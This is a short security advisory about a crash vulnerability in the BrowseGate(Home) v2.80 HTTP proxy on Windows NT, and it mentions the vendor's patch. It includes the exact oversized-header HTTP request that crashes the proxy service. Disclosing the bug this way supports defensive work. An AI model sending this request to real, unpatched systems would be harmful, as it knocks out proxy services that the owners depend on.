SYSTEMS AFFECTED
BrowseGate(Home) v2.80(H)
PROBLEM
Following is based on a Delphis Consulting DST2K0031 Advisory.
They discovered the following vulnerability in Browsegate under
Windows NT.
It is possible to cause Browsegate to crash with an invalid read
error. This is done by connecting to port 80 upon which the HTTP
proxy listens on and sending the following:
GET / HTTP/1.0<cr>
Authorization: Basic(A x 8k)<cr>
From: dcist@delphisplc.com<cr>
If-Modified-Since: Sat, 29 Oct 1994 19:43:31 GMT<cr>
Referer: http://www.delphisplc.com/(A x 8k)<cr>
UserAgent: DCIST Browser 1.1<cr>
<cr><cr>
This will cause an error brwgate.exe to crash with it's own error
handler twice complaining that memory can not be written or read.
SOLUTION
Delphis have worked with NetCPlus to resolve the above issue and
are happy to announce that a patch is availible from their web
site (Version: v2.80.001):

Delphis would like to take this oppertunity to thank Ian Turner
and the developers at Netcplus at the speed they responded.
